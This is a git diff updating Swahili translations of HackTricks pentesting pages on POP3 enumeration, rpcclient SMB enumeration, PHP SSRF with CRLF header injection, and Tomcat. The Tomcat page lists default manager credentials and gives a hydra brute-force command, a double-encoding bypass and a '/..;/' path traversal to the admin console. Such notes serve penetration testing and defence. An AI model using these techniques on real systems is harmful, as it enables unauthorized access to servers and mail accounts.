-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Taarifa Msingi -**Itifaki ya Posta (POP)** inaelezwa kama itifaki ndani ya uwanja wa mtandao wa kompyuta na Intaneti, ambayo hutumiwa kwa ajili ya kutoa na **kupata barua pepe kutoka kwenye seva ya barua pepe ya mbali**, ikifanya iwezekane kupatikana kwenye kifaa cha ndani. Iliyowekwa ndani ya safu ya maombi ya mfano wa OSI, itifaki hii inawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kawaida unajumuisha kuanzisha uhusiano na seva ya barua pepe, kupakua ujumbe wote, kuhifadhi ujumbe huu kwa kifaa cha mteja kwa ndani, na kisha kuuondoa kutoka kwenye seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inajulikana zaidi kama toleo linalotumiwa sana. +**Itifaki ya Posta ya Ofisi (POP)** inaelezwa kama itifaki ndani ya uwanja wa uunganishaji wa kompyuta na Mtandao, ambayo hutumiwa kwa ajili ya kutoa na **kupata barua pepe kutoka kwenye seva ya barua pepe ya mbali**, ikifanya iwezekane kufikia kwenye kifaa cha ndani. Iliyowekwa ndani ya safu ya maombi ya mfano wa OSI, itifaki hii inawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kawaida unajumuisha kuanzisha uhusiano na seva ya barua pepe, kupakua ujumbe wote, kuhifadhi ujumbe huu kwa kifaa cha mteja, na kisha kuuondoa kutoka kwenye seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inajulikana zaidi kama toleo linalotumiwa sana. -**Bandari za msingi:** 110, 995(ssl) +**Bandari za chaguo:** 110, 995(ssl) ``` PORT STATE SERVICE 110/tcp open pop3 @@ -38,9 +46,9 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port #All a ``` Plugin ya `pop3-ntlm-info` itarudisha baadhi ya data "**nyeti**" (toleo la Windows). -### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop) +### [POP3 kuvunja nguvu](../generic-methodologies-and-resources/brute-force.md#pop) -## Sintaksia ya POP +## POP syntax Mifano ya amri za POP kutoka [hapa](http://sunnyoasis.com/services/emailviatelnet.html) ```bash @@ -56,13 +64,25 @@ QUIT Logout (expunges messages if no RSET) TOP msg n Show first n lines of message number msg CAPA Get capabilities ``` -### Post-Exploitation +### Post Office Protocol (POP) -Post-exploitation is the phase where an attacker performs various tasks on a compromised system after successfully exploiting it. This phase allows the attacker to maintain access, gather sensitive information, escalate privileges, and more. Post-exploitation activities can include creating new accounts, installing backdoors, exfiltrating data, and covering their tracks. It is crucial for pentesters to thoroughly test for post-exploitation vulnerabilities to simulate real-world attack scenarios. +POP is a protocol used by email clients to retrieve email from a remote server. Here are some common security issues to look out for when pentesting POP: -### Baada ya Kuingia +1. **Weak Credentials**: Brute forcing weak passwords to gain unauthorized access. +2. **No Encryption**: Traffic sent in plain text can be intercepted and read. +3. **User Enumeration**: Attackers can enumerate valid users through error messages. +4. **Open Relay**: Allowing unauthorized users to send emails through the server. +5. **Banner Grabbing**: Revealing sensitive information through banner grabbing. -Baada ya kuingia ni hatua ambapo mshambuliaji hufanya majukumu mbalimbali kwenye mfumo uliokumbwa baada ya kufanikiwa kuingia. Hatua hii inamruhusu mshambuliaji kudumisha ufikiaji, kukusanya taarifa nyeti, kuinua mamlaka, na zaidi. Shughuli za baada ya kuingia zinaweza kujumuisha kuunda akaunti mpya, kusakinisha milango ya nyuma, kuchukua data, na kuficha nyayo zao. Ni muhimu kwa wapimaji wa usalama kufanya majaribio kwa kina kwa ajili ya mapungufu ya baada ya kuingia ili kusimuliza hali halisi za mashambulizi. +### Post Office Protocol (POP) + +POP ni itifaki inayotumiwa na wateja wa barua pepe kupata barua pepe kutoka kwa seva ya mbali. Hapa kuna masuala ya usalama ya kawaida ya kutazama wakati wa kufanya pentesting kwenye POP: + +1. **Mandhari Dhaifu**: Kuvunja nguvu nywila dhaifu ili kupata ufikiaji usioruhusiwa. +2. **Hakuna Ufichaji**: Trafiki inayotumwa kwa maandishi wazi inaweza kutekwa na kusomwa. +3. **Uainishaji wa Mtumiaji**: Wadukuzi wanaweza kuainisha watumiaji halali kupitia ujumbe wa makosa. +4. **Kuruhusu Uhamishaji**: Kuruhusu watumiaji wasioruhusiwa kutuma barua pepe kupitia seva. +5. **Kukamata Bango**: Kufunua habari nyeti kupitia kukamata bango. ``` root@kali:~# telnet $ip 110 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready @@ -91,13 +111,21 @@ password: PA$$W0RD!Z Kutoka [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) -| **Mipangilio** | **Maelezo** | +| **Mipangilio** | **Maelezo** | | ------------------------- | ----------------------------------------------------------------------------------------- | -| `auth_debug` | Inawezesha kuingiza kumbukumbu zote za upelelezi wa uthibitishaji. | -| `auth_debug_passwords` | Mipangilio hii inabadilisha kina cha kuingiza kumbukumbu, nywila zilizowasilishwa, na mpango unapata kuingizwa. | +| `auth_debug` | Inawezesha uingizaji wa kumbukumbu za kisasa za uthibitishaji. | +| `auth_debug_passwords` | Mipangilio hii inabadilisha kiasi cha kuingiza kumbukumbu, nywila zilizowasilishwa, na mpango unapata kuingizwa. | | `auth_verbose` | Kuingiza jaribio lisilofanikiwa la uthibitishaji na sababu zake. | | `auth_verbose_passwords` | Nywila zilizotumiwa kwa uthibitishaji zinaingizwa na pia zinaweza kukatwa. | -| `auth_anonymous_username` | Hii inabainisha jina la mtumiaji litakalotumiwa wakati wa kuingia kwa kutumia mbinu ya ANONYMOUS SASL. | +| `auth_anonymous_username` | Hii inabainisha jina la mtumiaji litakalotumiwa wakati wa kuingia kwa kutumia mfumo wa ANONYMOUS SASL. | + +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +## Amri za Kiotomatiki za HackTricks ``` Protocol_Name: POP #Protocol Abbreviation if there is one. Port_Number: 110 #Comma separated if there is more than one. @@ -140,13 +168,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS { ```
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) +* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index f617c0aeb..57d663f47 100644 --- a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -2,35 +2,41 @@
-Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! * Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-### **Nini ni RID** +**Kikundi cha Usalama cha Try Hard** -### Maelezo ya Identifiers za Kihusishi (RID) na Identifiers za Usalama (SID) +
-**Identifiers za Kihusishi (RID)** na **Identifiers za Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji wa Windows kwa kutambua na kusimamia vitu, kama vile watumiaji na vikundi, ndani ya kikoa cha mtandao. +{% embed url="https://discord.gg/tryhardsecurity" %} -- **SIDs** hutumika kama vitambulisho vya kipekee kwa maeneo, kuhakikisha kuwa kila kikoa kinaweza kutofautishwa. -- **RIDs** huongezwa kwenye SIDs ili kuunda vitambulisho vya kipekee kwa vitu ndani ya maeneo hayo. Kombinisheni hii inaruhusu kufuatilia kwa usahihi na usimamizi wa ruhusa za vitu na udhibiti wa ufikiaji. +*** -Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho kipekee kinachochanganya SID ya kikoa na RID yake maalum, iliyoonyeshwa kwa nambari za hexadecimal (`0x457`) na decimal (`1111`). Hii inasababisha kitambulisho kamili na kipekee kwa pepe ndani ya kikoa kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`. +### Maelezo ya Vitambulisho vya Kihusiano (RID) na Vitambulisho vya Usalama (SID) + +**Vitambulisho vya Kihusiano (RID)** na **Vitambulisho vya Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji wa Windows kwa kutambua na kusimamia vitu, kama vile watumiaji na vikundi, kwa njia ya pekee ndani ya kikoa cha mtandao. + +- **SIDs** hutumika kama vitambulisho vya pekee kwa maeneo, kuhakikisha kuwa kila kikoa kinaweza kutofautishwa. +- **RIDs** huongezwa kwenye SIDs ili kuunda vitambulisho vya pekee kwa vitu ndani ya maeneo hayo. Hii inaruhusu ufuatiliaji sahihi na usimamizi wa ruhusa za vitu na udhibiti wa ufikiaji. + +Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho cha pekee kinachochanganya SID ya kikoa na RID yake maalum, iliyoonyeshwa kwa muundo wa hexadecimal (`0x457`) na decimal (`1111`). Hii inasababisha kitambulisho kamili na cha pekee kwa pepe ndani ya kikoa kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`. ### **Uchambuzi na rpcclient** -Zana ya **`rpcclient`** kutoka Samba hutumiwa kwa kuingiliana na **vielekezo vya RPC kupitia mabomba yaliyopewa majina**. Amri zifuatazo zinaweza kutolewa kwa interfaces za SAMR, LSARPC, na LSARPC-DS baada ya **kikao cha SMB kuanzishwa**, mara nyingi ikihitaji vibali. +Zana ya **`rpcclient`** kutoka Samba hutumiwa kwa kuingiliana na **vituo vya RPC kupitia mabomba yaliyopewa majina**. Amri zifuatazo zinaweza kutolewa kwa interfaces za SAMR, LSARPC, na LSARPC-DS baada ya **kikao cha SMB kuanzishwa**, mara nyingi ikihitaji vibali. #### Taarifa za Seva -* Kupata **Taarifa za Seva**: hutumika amri ya `srvinfo`. +* Kupata **Taarifa za Seva**: Amri ya `srvinfo` hutumiwa. #### Uchambuzi wa Watumiaji @@ -55,8 +61,8 @@ done #### Uchambuzi wa Vikundi vya Kielelezo -* **Vikundi vya kielezo** kwa: `enumalsgroups `. -* **Wanachama wa kikundi cha kielezo** kwa: `queryaliasmem builtin|domain <0xrid>`. +* **Vikundi vya kielelezo** kwa: `enumalsgroups `. +* **Wanachama wa kikundi cha kielelezo** kwa: `queryaliasmem builtin|domain <0xrid>`. #### Uchambuzi wa Maeneo @@ -86,23 +92,29 @@ done | enumdomgroups | Uorodhesha vikundi vya kikoa | | | createdomuser | Unda mtumiaji wa kikoa | | | deletedomuser | Futa mtumiaji wa kikoa | | -| lookupnames | LSARPC | Tafuta majina ya watumiaji hadi SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) thamani | -| lookupsids | Tafuta SIDs hadi majina ya watumiaji (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | | -| lsaaddacctrights | Ongeza haki kwa akaunti ya mtumiaji | | -| lsaremoveacctrights | Ondoa haki kutoka kwa akaunti ya mtumiaji | | +| lookupnames | LSARPC | Tafuta majina ya mtumiaji hadi SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) thamani | +| lookupsids | Tafuta SIDs hadi majina ya mtumiaji (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | | +| lsaaddacctrights | Ongeza haki kwa akaunti ya mtumiaji | | +| lsaremoveacctrights | Ondoa haki kutoka kwa akaunti ya mtumiaji | | | dsroledominfo | LSARPC-DS | Pata maelezo ya msingi ya kikoa | -| dsenumdomtrusts | Uorodhesha vikoa vinavyoaminika ndani ya msitu wa AD | | +| dsenumdomtrusts | Uorodhesha maeneo ya kuaminiwa ndani ya msitu wa AD | | -Kuelewa jinsi zana **_samrdump_** na **_rpcdump_** zinafanya kazi unapaswa kusoma [**Pentesting MSRPC**](../135-pentesting-msrpc.md). +Kuelewa vizuri jinsi zana za _**samrdump**_ **na** _**rpcdump**_ zinafanya kazi unapaswa kusoma [**Pentesting MSRPC**](../135-pentesting-msrpc.md). + +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %}
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index c9403e7db..ba1ae8f8d 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -14,9 +14,17 @@ Njia nyingine za kusaidia HackTricks: +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ### Vifaa vya PHP vya SSRF -Baadhi ya kazi kama vile **file\_get\_contents(), fopen(), file(), md5\_file()** hukubali URL kama kuingia ambayo itafuata kufanya **mabaya ya udhaifu wa SSRF** ikiwa mtumiaji anaweza kudhibiti data: +Baadhi ya kazi kama vile **file\_get\_contents(), fopen(), file(), md5\_file()** hukubali URL kama data ya kuingiza ambayo itafuata kufanya **mabaya ya udhaifu wa SSRF ikiwa mtumiaji anaweza kudhibiti data: ```php file_get_contents("http://127.0.0.1:8081"); fopen("http://127.0.0.1:8081", "r"); @@ -25,7 +33,7 @@ md5_file("http://127.0.0.1:8081"); ``` ### CRLF -Zaidi ya hayo, katika baadhi ya kesi inaweza hata kuwa inawezekana kutuma vichwa vya habari vya kupendelea kupitia CRLF "udhaifu" katika kazi za awali: +Zaidi, katika baadhi ya kesi inaweza hata kuwa inawezekana kutuma vichwa vya habari vya kupendelea kupitia CRLF "udhaifu" katika kazi za awali: ```php # The following will create a header called from with value Hi and # an extra header "Injected: I HAVE IT" @@ -44,7 +52,7 @@ Connection: close Kwa habari zaidi kuhusu kasoro hiyo ya CRLF, angalia kosa hili [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1) {% endhint %} -Tafadhali elewa kwamba hizi kazi zinaweza kuwa na njia nyingine za kuweka vichwa vya habari vya uongo katika maombi, kama vile: +Tafadhali elewa kwamba hizi kazi zinaweza kuwa na njia nyingine za kuweka vichwa vya habari vya kupangwa katika maombi, kama vile: ```php $url = ""; @@ -60,16 +68,23 @@ $options = array( $context = stream_context_create($options); $file = file_get_contents($url, false, $context); ``` +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/network-services-pentesting/pentesting-web/tomcat.md b/network-services-pentesting/pentesting-web/tomcat.md index da52931c7..d5fc9eedb 100644 --- a/network-services-pentesting/pentesting-web/tomcat.md +++ b/network-services-pentesting/pentesting-web/tomcat.md @@ -4,7 +4,7 @@ Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) * **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -12,9 +12,17 @@ -## Uchunguzi +**Kikundi cha Usalama cha Try Hard** -* Kawaida hufanya kazi kwenye **bandari 8080** +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Ugunduzi + +* Kawaida inaendeshwa kwenye **bandari 8080** * **Kosa la kawaida la Tomcat:**
@@ -31,15 +39,15 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat Kutambua maeneo sahihi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutizo la nguvu linapendekezwa ili kutambua kurasa hizi. -### **Uorodheshaji wa Majina ya Mtumiaji** +### **Uorodhishaji wa Majina ya Mtumiaji** Kwa toleo la Tomcat la zamani kuliko 6, inawezekana kuorodhesha majina ya mtumiaji kupitia: ```bash msf> use auxiliary/scanner/http/tomcat_enum ``` -### **Maelezo ya Sera za Msingi** +### **Mikopo za Kimsingi** -**`/manager/html`** directory ni nyeti sana kwani inaruhusu kupakia na kutekeleza faili za WAR, ambazo zinaweza kusababisha utekelezaji wa nambari. Directory hii inalindwa na uthibitishaji wa HTTP wa msingi, na maelezo ya kawaida ni: +**`/manager/html`** directory ni nyeti sana kwani inaruhusu kupakia na kutekeleza faili za WAR, ambazo zinaweza kusababisha utekelezaji wa nambari. Directory hii inalindwa na uthibitishaji wa HTTP wa msingi, na mikopo ya kawaida ni: * admin:admin * tomcat:tomcat @@ -48,7 +56,7 @@ msf> use auxiliary/scanner/http/tomcat_enum * tomcat:s3cr3t * admin:tomcat -Maelezo haya ya uthibitishaji yanaweza kujaribiwa kutumia: +Mikopo hii inaweza kujaribiwa kutumia: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` @@ -60,19 +68,21 @@ Kujaribu shambulio la nguvu kubwa kwenye directory ya meneja, mtu anaweza kutumi ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html ``` -## Mfumo wa Ufichuaji wa Nywila +## Makosa Yanayoweza Kutokea -Kupata `/auth.jsp` inaweza kufunua nywila katika mfumo wa nyuma chini ya hali za bahati. +### **Kufichua Nyuma ya Nenosiri** -## Ufichamishi wa URL Maradufu +Kupata `/auth.jsp` kunaweza kufichua nenosiri katika nyuma ya nyaraka chini ya hali za bahati. -Ufichamishi CVE-2007-1860 katika `mod_jk` inaruhusu ufikiaji wa njia ya ufichamishi wa URL maradufu, ikiruhusu ufikiaji usiohalali kwenye kiolesura cha usimamizi kupitia URL iliyoundwa kwa makini. +### **Ukodishaji wa URL Mara Mbili** -Ili kupata wavuti ya usimamizi wa Tomcat enda: `pathTomcat/%252E%252E/manager/html` +Udhaifu wa CVE-2007-1860 katika `mod_jk` huruhusu ukodishaji wa njia mara mbili, ukiwezesha ufikiaji usiohalali kwenye kiolesura cha usimamizi kupitia URL iliyoundwa kwa makini. + +Ili kupata kwenye wavuti ya usimamizi wa Tomcat enda: `pathTomcat/%252E%252E/manager/html` ### /mifano -Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufichua habari na kushambuliwa na mashambulizi ya msalaba wa tovuti (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuchunguzwa kwa ufikiaji usiohalali na uwezekano wa kutumiwa vibaya. Pata [habari zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) +Matoleo ya Apache Tomcat 4.x hadi 7.x yanajumuisha hati za mifano ambazo zinaweza kufichua habari na kushambuliwa na cross-site scripting (XSS). Hati hizi, zilizoorodheshwa kwa kina, zinapaswa kuchunguzwa kwa ufikiaji usiohalali na uwezekano wa kutumiwa vibaya. Pata [habari zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) * /mifano/jsp/num/numguess.jsp * /mifano/jsp/dates/date.jsp @@ -97,9 +107,9 @@ Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufich * /mifano/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp -## Ufichuaji wa Njia +### **Udanganyifu wa Njia** -Katika [**miundombinu inayoweza kufichamika ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji kwenye saraka zilizolindwa kwenye Tomcat kwa kutumia njia: `/..;/` +Katika [**mipangilio inayoweza kudhurika ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji kwenye saraka zilizolindwa kwenye Tomcat kwa kutumia njia: `/..;/` Kwa hivyo, kwa mfano, unaweza **kupata ukurasa wa msimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html` @@ -111,7 +121,7 @@ Hatimaye, ikiwa una ufikiaji kwenye Meneja wa Programu ya Wavuti ya Tomcat, unaw ### Vizuizi -Utaweza tu kutekeleza WAR ikiwa una **mamlaka za kutosha** (majukumu: **admin**, **msimamizi** na **msimamizi-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ kawaida iliyoainishwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inatofautiana kati ya toleo) (angalia [POST](tomcat.md#post) sehemu). +Utaweza tu kutekeleza WAR ikiwa una **mamlaka za kutosha** (majukumu: **admin**, **manager** na **manager-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ kawaida iliyoainishwa katika 